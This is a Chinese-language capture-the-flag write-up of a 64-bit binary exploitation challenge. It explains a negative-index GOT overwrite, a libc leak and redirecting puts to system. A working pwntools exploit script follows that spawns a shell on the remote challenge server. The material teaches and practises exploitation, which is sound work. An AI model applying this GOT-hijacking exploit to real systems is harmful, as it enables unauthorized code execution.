64位劫持got表(注意提前更换libc:
第一次输入负数绕过长度检查并且可以反向溢出到bss段前的got表,由此第二次输入可以劫持got表内容
劫持exit()为_start,由此可以返回再次输入
接下来泄露libc,注意地址得对齐,因为内存实际地址只有末三位固定,则选择泄露的got表偏移末尾为0的几项都行,为8的不行,注意发送时提前gdb调试获取一下实际地址末尾2位再发送,避免输入修改实际地址
泄露libc后再次返回开头,劫持puts的got表地址为system函数地址,将puts_got-0x8覆盖为/bin/sh\x00
,所以输入-9将输入流定位到偏移0x404010处,即puts_got-0x8处,方便一次性读入然后getshell
exp:
from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])
# io=process("./vuln")
io=remote("node1.anna.nssctf.cn",28201)
elf=ELF("./vuln")
libc=ELF("./libc-2.31.so")
start_addr=elf.sym[b"_start"]
puts_got=elf.got[b"puts"]
io.sendlineafter(b"one.\n",b"-6")
io.recvuntil(b"name\n")
payload=p64(start_addr)
# gdb.attach(io)
# pause()
io.sendline(payload)
io.sendlineafter(b"one.\n",b"-8")
io.recvuntil(b"name\n")
payload=b"\xd0"
io.send(payload)
leak_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-libc.sym[b"setbuf"]
print("leak_addr: "+hex(leak_addr))
sys_addr=leak_addr+libc.sym[b"system"]
str_bin_sh=leak_addr+next(libc.search(b"/bin/sh"))
io.sendlineafter(b"one.\n",b"-9")
io.recvuntil(b"name\n")
payload=b"/bin/sh\x00"+p64(sys_addr)
io.send(payload)
io.interactive()